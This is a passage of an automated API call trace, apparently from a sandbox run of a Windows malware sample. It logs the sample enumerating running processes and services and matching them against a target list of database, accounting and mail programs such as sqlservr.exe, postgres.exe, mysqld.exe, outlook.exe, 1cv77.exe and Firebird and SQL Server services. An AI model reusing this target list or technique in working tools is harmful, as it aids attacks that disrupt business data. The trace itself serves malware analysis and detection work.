	[0264.340] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1
	[0264.340] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1
	[0264.340] Process32NextW (in: hSnapshot=0x358, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0264.340] lstrlenW (lpString="services.exe") returned 12
	[0264.340] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1
	[0264.340] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1
	[0264.340] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1
	[0264.340] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1
	[0264.340] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1
	[0264.340] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1
	[0264.340] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1
	[0264.340] Process32NextW (in: hSnapshot=0x358, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0264.340] lstrlenW (lpString="lsass.exe") returned 9
	[0264.341] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1
	[0264.341] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1
	[0264.341] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1
	[0264.341] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1
	[0264.341] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1
	[0264.341] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1
	[0264.341] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1
	[0264.341] Process32NextW (in: hSnapshot=0x358, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0264.341] lstrlenW (lpString="lsm.exe") returned 7
	[0264.341] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1
	[0264.341] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1
	[0264.341] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1
	[0264.341] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1
	[0264.341] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1
	[0264.341] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1
	[0264.341] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1
	[0264.341] Process32NextW (in: hSnapshot=0x358, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0264.341] lstrlenW (lpString="svchost.exe") returned 11
	[0264.341] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0264.342] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0264.342] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0264.342] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0264.342] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0264.342] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0264.342] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0264.342] Process32NextW (in: hSnapshot=0x358, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0264.342] lstrlenW (lpString="svchost.exe") returned 11
	[0264.342] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0264.342] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0264.342] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0264.342] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0264.342] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0264.342] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0264.342] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0264.342] Process32NextW (in: hSnapshot=0x358, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0264.342] lstrlenW (lpString="svchost.exe") returned 11
	[0264.342] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0264.342] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0264.343] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0264.343] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0264.343] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0264.343] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0264.343] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0264.343] Process32NextW (in: hSnapshot=0x358, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0264.343] lstrlenW (lpString="svchost.exe") returned 11
	[0264.343] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0264.343] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0264.343] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0264.343] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0264.343] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0264.343] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0264.343] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0264.343] Process32NextW (in: hSnapshot=0x358, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0264.344] lstrlenW (lpString="svchost.exe") returned 11
	[0264.344] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0264.344] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0264.344] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0264.344] Process32NextW (in: hSnapshot=0x358, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0264.344] lstrlenW (lpString="audiodg.exe") returned 11
	[0264.344] Process32NextW (in: hSnapshot=0x358, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0264.344] lstrlenW (lpString="svchost.exe") returned 11
	[0264.344] Process32NextW (in: hSnapshot=0x358, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1
	[0264.345] lstrlenW (lpString="userinit.exe") returned 12
	[0264.345] Process32NextW (in: hSnapshot=0x358, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0264.345] lstrlenW (lpString="explorer.exe") returned 12
	[0264.345] Process32NextW (in: hSnapshot=0x358, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0264.345] lstrlenW (lpString="dwm.exe") returned 7
	[0264.345] Process32NextW (in: hSnapshot=0x358, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x44c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0264.345] lstrlenW (lpString="svchost.exe") returned 11
	[0264.345] Process32NextW (in: hSnapshot=0x358, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x378, pcPriClassBase=8, dwFlags=0x0, szExeFile="swpesp.exe")) returned 1
	[0264.346] lstrlenW (lpString="swpesp.exe") returned 10
	[0264.346] Process32NextW (in: hSnapshot=0x358, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0264.346] lstrlenW (lpString="spoolsv.exe") returned 11
	[0264.346] Process32NextW (in: hSnapshot=0x358, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0264.346] lstrlenW (lpString="taskhost.exe") returned 12
	[0264.346] Process32NextW (in: hSnapshot=0x358, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0264.347] lstrlenW (lpString="svchost.exe") returned 11
	[0264.347] Process32NextW (in: hSnapshot=0x358, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1
	[0264.347] lstrlenW (lpString="reader_sl.exe") returned 13
	[0264.347] Process32NextW (in: hSnapshot=0x358, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0
	[0264.347] CloseHandle (hObject=0x358) returned 1
	[0264.347] Sleep (dwMilliseconds=0x1f4) 
	[0265.047] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4280a18
	[0265.047] EnumServicesStatusExW (in: hSCManager=0x4280a18, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0) returned 0
	[0265.047] GetLastError () returned 0xea
	[0265.047] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc9a) returned 0x41f5d68
	[0265.047] EnumServicesStatusExW (in: hSCManager=0x4280a18, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41f5d68, cbBufSize=0xc9a, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41f5d68, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0) returned 1
	[0265.048] CloseServiceHandle (hSCObject=0x4280a18) returned 1
	[0265.048] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0265.048] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0265.048] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0265.048] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0265.048] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0265.048] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0265.048] lstrlenW (lpString="AudioSrv") returned 8
	[0265.048] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1
	[0265.048] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1
	[0265.048] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1
	[0265.048] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1
	[0265.048] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1
	[0265.048] lstrlenW (lpString="BFE") returned 3
	[0265.048] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0265.048] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0265.048] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0265.049] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0265.049] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0265.049] lstrlenW (lpString="CryptSvc") returned 8
	[0265.049] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0265.049] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0265.049] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0265.049] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0265.049] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0265.049] lstrlenW (lpString="CscService") returned 10
	[0265.049] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1
	[0265.049] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1
	[0265.049] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1
	[0265.049] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1
	[0265.049] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1
	[0265.049] lstrlenW (lpString="DcomLaunch") returned 10
	[0265.049] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0265.049] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0265.049] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0265.049] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0265.049] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0265.049] lstrlenW (lpString="Dhcp") returned 4
	[0265.049] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0265.049] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0265.049] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0265.049] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0265.049] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0265.049] lstrlenW (lpString="Dnscache") returned 8
	[0265.049] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0265.049] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0265.049] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0265.049] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0265.049] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0265.050] lstrlenW (lpString="DPS") returned 3
	[0265.050] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0265.050] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0265.050] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0265.050] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0265.050] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0265.050] lstrlenW (lpString="eventlog") returned 8
	[0265.050] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1
	[0265.050] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1
	[0265.050] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1
	[0265.050] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1
	[0265.050] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1
	[0265.050] lstrlenW (lpString="EventSystem") returned 11
	[0265.050] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0265.050] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0265.050] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0265.050] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0265.050] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0265.050] lstrlenW (lpString="gpsvc") returned 5
	[0265.050] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0265.050] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0265.050] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0265.050] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0265.050] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0265.050] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0265.050] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0265.050] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0265.050] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0265.050] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0265.050] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0265.050] lstrlenW (lpString="lmhosts") returned 7
	[0265.050] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0265.050] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0265.051] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0265.051] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0265.051] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0265.051] lstrlenW (lpString="MMCSS") returned 5
	[0265.051] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1
	[0265.051] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1
	[0265.051] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1
	[0265.051] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1
	[0265.051] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1
	[0265.051] lstrlenW (lpString="MpsSvc") returned 6
	[0265.051] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0265.051] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0265.051] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0265.051] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0265.051] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0265.051] lstrlenW (lpString="NlaSvc") returned 6
	[0265.051] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0265.051] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0265.051] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0265.051] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0265.051] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0265.051] lstrlenW (lpString="nsi") returned 3
	[0265.051] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0265.051] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0265.051] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0265.051] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0265.051] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0265.051] lstrlenW (lpString="PcaSvc") returned 6
	[0265.051] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0265.051] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0265.051] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0265.051] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0265.052] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0265.052] lstrlenW (lpString="PlugPlay") returned 8
	[0265.052] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0265.052] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0265.052] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0265.052] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0265.052] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0265.052] lstrlenW (lpString="Power") returned 5
	[0265.052] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0265.052] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0265.052] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0265.052] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0265.052] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0265.052] lstrlenW (lpString="ProfSvc") returned 7
	[0265.052] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0265.052] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0265.052] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0265.052] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0265.052] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0265.052] lstrlenW (lpString="RpcEptMapper") returned 12
	[0265.052] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0265.052] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0265.052] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0265.052] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0265.052] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0265.052] lstrlenW (lpString="RpcSs") returned 5
	[0265.052] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0265.052] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0265.052] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0265.052] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0265.053] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0265.053] lstrlenW (lpString="SamSs") returned 5
	[0265.053] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0265.053] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0265.053] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0265.053] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0265.053] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0265.053] lstrlenW (lpString="Schedule") returned 8
	[0265.053] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0265.053] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0265.053] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0265.053] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0265.053] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0265.053] lstrlenW (lpString="SENS") returned 4
	[0265.053] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0265.053] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0265.053] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0265.053] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0265.053] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0265.053] lstrlenW (lpString="ShellHWDetection") returned 16
	[0265.053] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0265.053] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0265.053] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0265.053] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0265.053] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0265.053] lstrlenW (lpString="Spooler") returned 7
	[0265.053] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
